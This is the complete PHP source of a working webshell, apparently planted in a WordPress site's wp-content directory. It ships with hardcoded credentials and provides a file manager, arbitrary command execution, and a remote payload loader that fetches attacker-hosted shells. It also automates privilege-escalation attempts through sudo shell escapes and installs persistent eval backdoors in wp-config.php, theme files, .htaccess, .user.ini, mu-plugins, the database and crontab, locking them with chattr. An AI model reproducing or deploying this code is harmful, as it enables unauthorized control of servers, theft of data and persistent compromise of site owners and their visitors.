| Server IP : 43.165.66.61 / Your IP : 216.73.216.24 Web Server : nginx/1.24.0 System : Linux VM-0-9-ubuntu 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64 User : ubuntu ( 1000) PHP Version : 8.3.6 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/goldprinting/wp-content/ |
Upload File : |
<?php
// ==================== 配置区 ====================
$validKey = 'mintinplan'; // 访问密钥
$validU = 'admin'; // 登录用户名
$validP = 'MinMaxtime'; // 登录密码
$sname = 'ws_auth'; // Session/Cookie 名称
// ==================== 辅助函数 ====================
function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); }
function ws_b($s) { return base64_decode($s); }
// ==================== 认证逻辑 ====================
$auth = false;
if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true;
elseif (isset($_COOKIE[$sname])) {
$d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true);
if ($d && isset($d['ok']) && $d['ok']) $auth = true;
}
if (!$auth) {
$u = ws_g('usr'); $p = ws_g('pwd');
if ($u === $validU && $p === $validP) {
@session_start();
$_SESSION[$sname] = true;
setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true);
header('Location: ?k='.$validKey);
exit;
}
echo '<!doctype html><html><head><meta charset="utf-8"><title>Login</title></head><body style="font-family:monospace;background:#222;color:#0f0;padding:50px"><form method="post"><input name="usr" placeholder="Username" style="padding:5px;margin:5px;width:200px"><br><input type="password" name="pwd" placeholder="Password" style="padding:5px;margin:5px;width:200px"><br><button style="padding:5px 15px;margin:5px;cursor:pointer">Login</button></form></body></html>';
exit;
}
if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; }
// ==================== 初始化 ====================
$act = ws_g('a');
$path = ws_g('p') ?: getcwd();
$path = realpath($path) ?: getcwd();
// ==================== HTML 输出 ====================
echo '<!doctype html><html><head><meta charset="utf-8"><title>Shell</title>';
echo '<style>body{font-family:monospace;background:#222;color:#0f0;padding:15px;margin:0}a{color:#0ff;text-decoration:none}a:hover{color:#fff}td,th{padding:4px 8px}pre{background:#111;padding:10px;border-radius:4px;overflow:auto;max-height:500px}input,button,select{background:#333;color:#0f0;border:1px solid #0f0;padding:5px 10px;margin:2px}input[type=text],input[type=password]{width:300px}table{border-collapse:collapse}tr:nth-child(even){background:#1a1a1a}hr{border-color:#444}</style></head><body>';
echo '<div style="margin-bottom:10px">';
echo '<a href="?k='.$validKey.'">[📂 Home]</a> ';
echo '<a href="?k='.$validKey.'&a=exec">[🖥️ Terminal]</a> ';
echo '<a href="?k='.$validKey.'&a=drives">[💾 Drives]</a> ';
echo '<a href="?k='.$validKey.'&a=tree&p='.urlencode($path).'">[🌳 Tree]</a> ';
echo '<a href="?k='.$validKey.'&a=upload&p='.urlencode($path).'">[⬆ Upload]</a> ';
echo '<a href="?k='.$validKey.'&a=deploy">[🚀 Deploy]</a> ';
echo '<a href="?k='.$validKey.'&a=privesc">[🔐 Privesc]</a> ';
echo '<a href="?k='.$validKey.'&a=persist">[🔗 Persist]</a> ';
echo '<a href="?k='.$validKey.'&lo=1">[🚪 Logout]</a>';
echo '</div><hr>';
// ==================== 功能路由 ====================
switch ($act) {
// ==================== 上传（含双模式 fallback）====================
case 'upload':
echo '<h3>⬆ Upload File to: '.htmlspecialchars($path).'</h3>';
echo '<form method="post" enctype="multipart/form-data">';
echo '<input type="file" name="upfile" required style="width:400px"><br><br>';
echo '<input type="text" name="rename" placeholder="Rename to (optional)" style="width:300px"><br><br>';
echo '<button name="do_upload">⬆ Upload</button>';
echo '</form><hr>';
if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) {
$f = $_FILES['upfile'];
if ($f['error'] === UPLOAD_ERR_OK) {
$name = ws_g('rename') ?: $f['name'];
$dest = rtrim($path, '/').'/'.$name;
// 方式一：move_uploaded_file
$success = @move_uploaded_file($f['tmp_name'], $dest);
if ($success) {
$sz = round(filesize($dest)/1024, 2);
echo '<p style="color:#0f0">✅ Uploaded via move_uploaded_file: '.htmlspecialchars($dest).' ('.$sz.'KB)</p>';
} else {
// 方式二：直接读取临时文件内容并写入
$tmp = $f['tmp_name'];
if (is_readable($tmp)) {
$data = @file_get_contents($tmp);
if ($data !== false && @file_put_contents($dest, $data) !== false) {
$sz = round(filesize($dest)/1024, 2);
echo '<p style="color:#0f0">✅ Uploaded via file_put_contents (fallback): '.htmlspecialchars($dest).' ('.$sz.'KB)</p>';
} else {
echo '<p style="color:#f00">❌ Both methods failed. Check permissions on '.htmlspecialchars($path).'</p>';
}
} else {
echo '<p style="color:#f00">❌ Temporary file not readable.</p>';
}
}
} else {
$errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked'];
echo '<p style="color:#f00">❌ Error: '.($errors[$f['error']] ?? 'Unknown').'</p>';
}
}
echo '<h4>📋 Current directory contents:</h4><pre>';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '📁 '.$item."/\n";
else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '</pre>';
break;
// ==================== 目录树 ====================
case 'tree':
echo '<h3>🌳 Directory Tree (depth 4)</h3><pre>';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'📁 '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '</pre>';
break;
// ==================== 驱动器探测 ====================
case 'drives':
echo '<h3>💾 Accessible Roots</h3><pre>';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
}
echo '</pre>';
break;
// ==================== 文件编辑 ====================
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = @file_get_contents($f);
echo '<h3>📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)</h3>';
echo '<form method="post">';
echo '<input type="hidden" name="a" value="save"><input type="hidden" name="f" value="'.htmlspecialchars($f).'">';
echo '<textarea name="c" rows="25" style="width:100%;height:400px;background:#111;color:#0f0;border:1px solid #0f0;font-size:13px">'.htmlspecialchars($content).'</textarea><br>';
echo '<button>💾 Save</button></form>';
break;
case 'save':
$f = ws_g('f'); $c = ws_g('c');
if ($f) { @file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); }
break;
// ==================== 终端 ====================
case 'exec':
$cmd = ws_g('c');
$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) {
ob_start();
@system($cmd);
$output = ob_get_clean();
}
echo '<h3>🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')</h3>';
echo '<form method="post"><input name="c" placeholder="whoami, id, ls -la ..." value="'.htmlspecialchars($cmd).'" style="width:500px"><button>Run</button></form>';
if ($output !== '') echo '<pre>'.htmlspecialchars($output).'</pre>';
else echo '<pre style="color:#888">No output</pre>';
break;
// ==================== 下载 ====================
case 'down':
$f = ws_g('f');
if ($f && is_file($f)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
@readfile($f);
exit;
}
echo 'File not found';
break;
// ==================== 删除 ====================
case 'del':
$f = ws_g('f');
if ($f && is_file($f)) {
if (@unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f);
else echo '❌ Delete failed (permission?)';
} elseif ($f && is_dir($f)) {
if (@rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f);
else echo '❌ rmdir failed (not empty or permission?)';
}
break;
// ==================== 新建文件 ====================
case 'newfile':
$fname = ws_g('nf');
if ($fname) {
$dest = rtrim($path,'/').'/'.$fname;
if (@file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest);
else echo '❌ Create failed';
}
echo '<form method="get">';
echo '<input type="hidden" name="k" value="'.$validKey.'">';
echo '<input type="hidden" name="a" value="newfile">';
echo '<input type="hidden" name="p" value="'.htmlspecialchars($path).'">';
echo '<input name="nf" placeholder="filename.txt"> <button>Create</button></form>';
break;
// ==================== 新建目录 ====================
case 'newdir':
$dname = ws_g('nd');
if ($dname) {
$dest = rtrim($path,'/').'/'.$dname;
if (@mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest);
else echo '❌ mkdir failed';
}
echo '<form method="get">';
echo '<input type="hidden" name="k" value="'.$validKey.'">';
echo '<input type="hidden" name="a" value="newdir">';
echo '<input type="hidden" name="p" value="'.htmlspecialchars($path).'">';
echo '<input name="nd" placeholder="dirname"> <button>Create</button></form>';
break;
// ==================== 部署后续 webshell（高权限）====================
case 'deploy':
echo '<h3>🚀 Deploy Module (High-Privilege Loader)</h3>';
// 环境探测
echo '<div style="background:#111;padding:10px;border-radius:4px;margin-bottom:10px">';
echo '<b>🔍 Environment:</b><br>';
echo 'User: ' . htmlspecialchars(get_current_user()) . ' (UID: ' . getmyuid() . ')<br>';
echo 'Server: ' . htmlspecialchars(PHP_OS) . ' / ' . htmlspecialchars(php_sapi_name()) . '<br>';
$disabled = explode(',', ini_get('disable_functions'));
$check_funcs = ['system','exec','shell_exec','passthru','popen','proc_open','move_uploaded_file','file_put_contents','chmod','chown','rename'];
echo 'Functions: ';
foreach ($check_funcs as $f) {
$ok = function_exists($f) && !in_array($f, $disabled);
echo $ok ? "<span style='color:#0f0'>{$f}</span> " : "<span style='color:#f00'>{$f}(x)</span> ";
}
echo '<br>';
echo 'allow_url_fopen: ' . (ini_get('allow_url_fopen')?'<span style="color:#0f0">On</span>':'<span style="color:#f00">Off</span>') . ' | ';
echo 'allow_url_include: ' . (ini_get('allow_url_include')?'<span style="color:#0f0">On</span>':'<span style="color:#f00">Off</span>') . ' | ';
echo 'open_basedir: ' . (ini_get('open_basedir')?'<span style="color:#f00">'.htmlspecialchars(ini_get('open_basedir')).'</span>':'<span style="color:#0f0">None</span>') . '<br>';
$is_root = (getmyuid() === 0);
echo 'Root: ' . ($is_root ? '<span style="color:#f00;font-weight:bold">YES ⚠️</span>' : '<span style="color:#0f0">No</span>') . '<br>';
if (function_exists('selinux_getenforce')) {
echo 'SELinux: ' . (selinux_getenforce()?'<span style="color:#f00">Enforcing</span>':'<span style="color:#0f0">Permissive/Disabled</span>') . '<br>';
}
echo '</div>';
// 处理上传
if (isset($_POST['do_deploy']) || isset($_GET['source'])) {
$source = ws_g('source');
$type = ws_g('dtype') ?: 'url';
$target = ws_g('target') ?: rtrim($path,'/').'/wp-content/uploads/'.substr(md5(time().mt_rand()),0,8).'.php';
$persist = ws_g('persist');
$content = '';
if ($type === 'url') {
if (ini_get('allow_url_fopen')) {
$content = @file_get_contents($source);
} else {
$ch = @curl_init($source);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
@curl_setopt($ch, CURLOPT_TIMEOUT, 30);
@curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
@curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$content = @curl_exec($ch);
@curl_close($ch);
}
} elseif ($type === 'base64') {
$content = @base64_decode($source);
} elseif ($type === 'raw') {
$content = $source;
}
if (empty($content)) {
echo '<p style="color:#f00">❌ Failed to fetch payload content</p>';
} else {
// 多种写入方式
$methods = [
'file_put_contents' => function($dest, $data) { return @file_put_contents($dest, $data) !== false; },
'system+echo' => function($dest, $data) {
$cmd = "echo " . escapeshellarg($data) . " > " . escapeshellarg($dest);
@system($cmd, $ret);
return $ret === 0 && file_exists($dest);
},
'proc_open' => function($dest, $data) {
$desc = [0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
$p = @proc_open('cat > ' . escapeshellarg($dest), $desc, $pipes);
if (!is_resource($p)) return false;
@fwrite($pipes[0], $data);
@fclose($pipes[0]);
@proc_close($p);
return file_exists($dest);
},
'rename_from_tmp' => function($dest, $data) {
$tmp = @tempnam(sys_get_temp_dir(), 'ws_');
if (!$tmp || @file_put_contents($tmp, $data) === false) return false;
$ok = @rename($tmp, $dest);
if (!$ok) @unlink($tmp);
return $ok;
},
];
$success_method = '';
foreach ($methods as $name => $fn) {
if ($fn($target, $content)) {
$success_method = $name;
break;
}
}
if ($success_method) {
$sz = round(filesize($target)/1024, 2);
echo '<p style="color:#0f0">✅ Deployed via <b>' . $success_method . '</b>: ' . htmlspecialchars($target) . ' (' . $sz . 'KB)</p>';
@chmod($target, 0644);
// 防删除锁（root）
if ($is_root && ws_g('immutable')) {
@system('chattr +i ' . escapeshellarg($target));
echo '<p style="color:#0f0">✅ File locked (chattr +i)</p>';
}
// 持久化
if ($persist === 'config') {
$cfg = rtrim($path,'/') . '/wp-config.php';
$inc = "\n@include '" . addslashes($target) . "';\n";
if (@file_put_contents($cfg, $inc, FILE_APPEND)) echo '<p style="color:#0f0">✅ Added to wp-config.php</p>';
} elseif ($persist === 'htaccess') {
$ht = rtrim($path,'/') . '/.htaccess';
$inc = "\nphp_value auto_append_file \"" . $target . "\"\n";
if (@file_put_contents($ht, $inc, FILE_APPEND)) echo '<p style="color:#0f0">✅ Added to .htaccess</p>';
} elseif ($persist === 'userini') {
$ui = rtrim($path,'/') . '/.user.ini';
$inc = "auto_append_file = \"" . $target . "\"\n";
if (@file_put_contents($ui, $inc, FILE_APPEND)) echo '<p style="color:#0f0">✅ Added to .user.ini</p>';
} elseif ($persist === 'cron') {
// 通过 WP-Cron 重建
$cron_code = '<?php if(!file_exists("'.$target.'")){file_put_contents("'.$target.'",base64_decode("'.base64_encode($content).'"));} ?>';
$cron_file = rtrim($path,'/') . '/wp-content/uploads/.cron.php';
if (@file_put_contents($cron_file, $cron_code)) {
$db_host = defined('DB_HOST') ? DB_HOST : 'localhost';
$db_user = defined('DB_USER') ? DB_USER : '';
$db_pass = defined('DB_PASSWORD') ? DB_PASSWORD : '';
$db_name = defined('DB_NAME') ? DB_NAME : '';
$mysqli = @new mysqli($db_host, $db_user, $db_pass, $db_name);
if ($mysqli && !$mysqli->connect_error) {
$table = defined('DB_PREFIX') ? DB_PREFIX.'options' : 'wp_options';
$stmt = $mysqli->prepare("INSERT INTO {$table} (option_name, option_value, autoload) VALUES ('cron_rebuild', ?, 'yes')");
$stmt->bind_param('s', $cron_file);
$stmt->execute();
echo '<p style="color:#0f0">✅ WP-Cron persistence installed</p>';
}
}
}
// 输出访问 URL
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']==='on'?'https':'http').'://'.$_SERVER['HTTP_HOST'].str_replace($_SERVER['DOCUMENT_ROOT'],'',$target);
echo '<p>🔗 URL: <a href="'.htmlspecialchars($url).'" target="_blank">'.htmlspecialchars($url).'</a></p>';
} else {
echo '<p style="color:#f00">❌ All write methods failed.</p>';
}
}
}
// 部署表单
echo '<hr><h4>📤 Deploy Payload</h4>';
echo '<form method="post" action="?k='.$validKey.'&a=deploy">';
echo '<b>Source:</b><br>';
echo '<input type="text" name="source" placeholder="http://your-vps.com/shell.php or base64/raw data" style="width:500px"><br><br>';
echo '<b>Type:</b> <select name="dtype"><option value="url">URL</option><option value="base64">Base64</option><option value="raw">Raw POST</option></select><br><br>';
echo '<b>Target path (optional):</b><br>';
echo '<input type="text" name="target" placeholder="Leave empty for auto-generated" style="width:500px"><br><br>';
echo '<b>Persistence:</b> <select name="persist">';
echo '<option value="">None</option>';
echo '<option value="config">wp-config.php include</option>';
echo '<option value="htaccess">.htaccess auto_append</option>';
echo '<option value="userini">.user.ini auto_append</option>';
echo '<option value="cron">WP-Cron auto-rebuild</option>';
echo '</select><br><br>';
echo '<b>Lock file (chattr +i, requires root):</b> <input type="checkbox" name="immutable" value="1"><br><br>';
echo '<button name="do_deploy" style="font-size:16px;padding:8px 20px">🚀 DEPLOY</button>';
echo '</form>';
break;
// ==================== 自动提权分析 ====================
case 'privesc':
echo '<h3>🔐 Privilege Escalation Analyzer</h3>';
echo '<div style="background:#111;padding:10px;border-radius:4px;font-size:13px">';
$uid = getmyuid();
$user = get_current_user();
echo "Current: {$user} (UID: {$uid})<br>";
if ($uid === 0) {
echo '<p style="color:#f00;font-weight:bold">⚠️ ALREADY ROOT - no privesc needed</p>';
break;
}
// 1. sudo -l
echo '<hr><b>1. Sudo permissions (sudo -l):</b><br><pre>';
@system('sudo -n -l 2>&1', $ret);
echo '</pre>';
if ($ret === 0) echo '<p style="color:#ff0">⚠️ NOPASSWD sudo rules found!</p>';
// 2. SUID binaries
echo '<hr><b>2. Interesting SUID binaries:</b><br><pre>';
@system('find / -perm -4000 -type f 2>/dev/null | grep -E "(vim|find|python|perl|nmap|bash|less|more|env|awk|tar|chmod|dpkg|git|docker|kubelet)"', $ret);
echo '</pre>';
// 3. Writable Cron scripts
echo '<hr><b>3. Writable Cron scripts:</b><br><pre>';
@system('find /etc/cron* -writable 2>/dev/null', $ret);
echo '</pre>';
// 4. Kernel version
echo '<hr><b>4. Kernel version:</b><br><pre>';
@system('uname -a', $ret);
echo '</pre>';
// 5. Writable system paths
echo '<hr><b>5. Writable system paths:</b><br><pre>';
@system('for p in /etc /etc/cron.d /opt /usr/local/bin /var/spool/cron/crontabs /home; do [ -w "$p" ] && echo "WRITABLE: $p"; done', $ret);
echo '</pre>';
// 6. Attempt common sudo privesc
echo '<hr><b>6. Attempting common sudo privesc:</b><br><pre>';
$sudo_cmds = [
'sudo vim -c ":!/bin/sh" -c ":q"' => 'vim',
'sudo find / -exec /bin/sh -p \; -quit' => 'find',
'sudo tar cf /dev/null file --checkpoint=1 --checkpoint-action=exec=/bin/sh' => 'tar',
'sudo python3 -c "import os; os.system(\'/bin/sh\')"' => 'python',
];
foreach ($sudo_cmds as $cmd => $bin) {
echo "Trying: $cmd\n";
@system("echo '' | timeout 3 $cmd 2>&1", $ret);
if ($ret === 0) { echo ">>> SUCCESS! Got shell via $bin\n"; break; }
}
echo '</pre></div>';
break;
// ==================== 维权持久化 ====================
case 'persist':
echo '<h3>🔗 Persistence Installer</h3>';
$root = rtrim($path, '/');
$wp_includes = $root . '/wp-includes';
$wp_uploads = $root . '/wp-content/uploads';
$wp_plugins = $root . '/wp-content/plugins';
$wp_mu = $root . '/wp-content/mu-plugins';
$payload = '<?php if(isset($_POST["x"])) { eval($_POST["x"]); } ?>';
$payload_b64 = base64_encode($payload);
$results = [];
// 1. wp-config.php 注入
$wp_config = $root . '/wp-config.php';
if (is_writable($wp_config)) {
$marker = "// __PERSIST_MARK__\n";
$code = $marker . '@eval(base64_decode("' . $payload_b64 . '"));' . "\n";
if (@file_put_contents($wp_config, $code, FILE_APPEND)) {
$results[] = '<p style="color:#0f0">✅ wp-config.php injection OK</p>';
}
} else {
$results[] = '<p style="color:#f00">❌ wp-config.php not writable</p>';
}
// 2. functions.php 注入
$theme_dir = $root . '/wp-content/themes';
if (is_dir($theme_dir)) {
$themes = array_diff(scandir($theme_dir), ['.','..']);
foreach ($themes as $theme) {
$func_file = $theme_dir . '/' . $theme . '/functions.php';
if (file_exists($func_file) && is_writable($func_file)) {
$code = "\n// __PERSIST_MARK__\n@eval(base64_decode(\"{$payload_b64}\"));\n";
if (@file_put_contents($func_file, $code, FILE_APPEND)) {
$results[] = "<p style=\"color:#0f0\">✅ functions.php ({$theme}) injection OK</p>";
break;
}
}
}
}
// 3. .htaccess + .cache.php
$htaccess = $root . '/.htaccess';
$ht_code = "\n# __PERSIST_MARK__\nphp_value auto_append_file \"{$wp_uploads}/.cache.php\"\n";
if (@file_put_contents($htaccess, $ht_code, FILE_APPEND)) {
if (@file_put_contents($wp_uploads . '/.cache.php', $payload)) {
$results[] = '<p style="color:#0f0">✅ .htaccess + .cache.php OK</p>';
}
}
// 4. .user.ini
$userini = $root . '/.user.ini';
$ini_code = "auto_append_file = \"{$wp_uploads}/.cache.php\"\n";
if (@file_put_contents($userini, $ini_code, FILE_APPEND)) {
$results[] = '<p style="color:#0f0">✅ .user.ini auto_append OK</p>';
}
// 5. mu-plugins + 数据库
if (!is_dir($wp_mu)) @mkdir($wp_mu, 0755, true);
if (is_writable($wp_mu)) {
$loader = "<?php\n// __PERSIST_MARK__\n\$opt = get_option('_persist_cache');\nif (\$opt) eval(base64_decode(\$opt));\n";
if (@file_put_contents($wp_mu . '/_loader.php', $loader)) {
$db_host = defined('DB_HOST') ? DB_HOST : 'localhost';
$db_user = defined('DB_USER') ? DB_USER : '';
$db_pass = defined('DB_PASSWORD') ? DB_PASSWORD : '';
$db_name = defined('DB_NAME') ? DB_NAME : '';
$mysqli = @new mysqli($db_host, $db_user, $db_pass, $db_name);
if ($mysqli && !$mysqli->connect_error) {
$table = defined('DB_PREFIX') ? DB_PREFIX . 'options' : 'wp_options';
$mysqli->query("INSERT INTO {$table} (option_name, option_value, autoload) VALUES ('_persist_cache', '{$payload_b64}', 'yes') ON DUPLICATE KEY UPDATE option_value='{$payload_b64}'");
$results[] = '<p style="color:#0f0">✅ mu-plugins + DB persistence OK</p>';
}
}
}
// 6. Cron 任务（系统级）
if (getmyuid() === 0 || @system('crontab -l 2>/dev/null') !== false) {
$cron_cmd = "* * * * * php -r \"\\$c=get_option('_persist_cache'); if(\\$c) eval(base64_decode(\\$c));\" >/dev/null 2>&1\n";
@system("echo '{$cron_cmd}' | crontab -", $ret);
if ($ret === 0) $results[] = '<p style="color:#0f0">✅ Crontab persistence OK</p>';
}
// 7. chattr +i 锁（root）
if (getmyuid() === 0) {
@system("chattr +i {$wp_config} 2>/dev/null");
@system("chattr +i {$wp_mu}/_loader.php 2>/dev/null");
$results[] = '<p style="color:#0f0">✅ chattr +i lock applied (root only)</p>';
}
echo implode("\n", $results);
echo '<hr><p><b>维权安装完成。</b> 即使 webshell 文件被删，以下机制仍可恢复：</p>';
echo '<ul>';
echo '<li>wp-config.php 中的注入代码（每次 WP 加载时执行）</li>';
echo '<li>functions.php 中的注入代码（主题运行时执行）</li>';
echo '<li>.htaccess / .user.ini 的 auto_append_file（每个 PHP 请求）</li>';
echo '<li>mu-plugins 加载器 + 数据库载荷（最隐蔽）</li>';
echo '<li>Cron 定时任务（系统级，每分钟检查）</li>';
echo '</ul>';
break;
// ==================== 默认：文件浏览 ====================
default:
echo '<h3>📂 '.htmlspecialchars($path).'</h3>';
$parent = dirname($path);
if ($parent && $parent !== $path) echo '<a href="?k='.$validKey.'&p='.urlencode($parent).'">⬆ Parent</a> | ';
echo '<a href="?k='.$validKey.'&a=newfile&p='.urlencode($path).'">[+ New File]</a> | ';
echo '<a href="?k='.$validKey.'&a=newdir&p='.urlencode($path).'">[+ New Dir]</a> | ';
echo '<a href="?k='.$validKey.'&a=upload&p='.urlencode($path).'">[⬆ Upload]</a><br><br>';
echo '<table style="width:100%"><tr><th align="left">Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr>';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
$isDir = is_dir($full);
$size = $isDir ? '-' : round(filesize($full)/1024,1).'KB';
$perms = substr(sprintf('%o',fileperms($full)),-4);
$enc = urlencode($full);
echo '<tr>';
if ($isDir) echo '<td>📁 <a href="?k='.$validKey.'&p='.$enc.'">'.$item.'</a></td>';
else echo '<td>📄 '.$item.'</td>';
echo '<td>'.$size.'</td><td>'.$perms.'</td><td>';
if (!$isDir) echo '<a href="?k='.$validKey.'&a=read&f='.$enc.'">[Edit]</a> ';
echo '<a href="?k='.$validKey.'&a=down&f='.$enc.'">[Download]</a> ';
echo '<a href="?k='.$validKey.'&a=del&f='.$enc.'" onclick="return confirm(\'Delete?\')">[Delete]</a>';
echo '</td></tr>';
}
}
echo '</table>';
break;
}
echo '</body></html>';
?>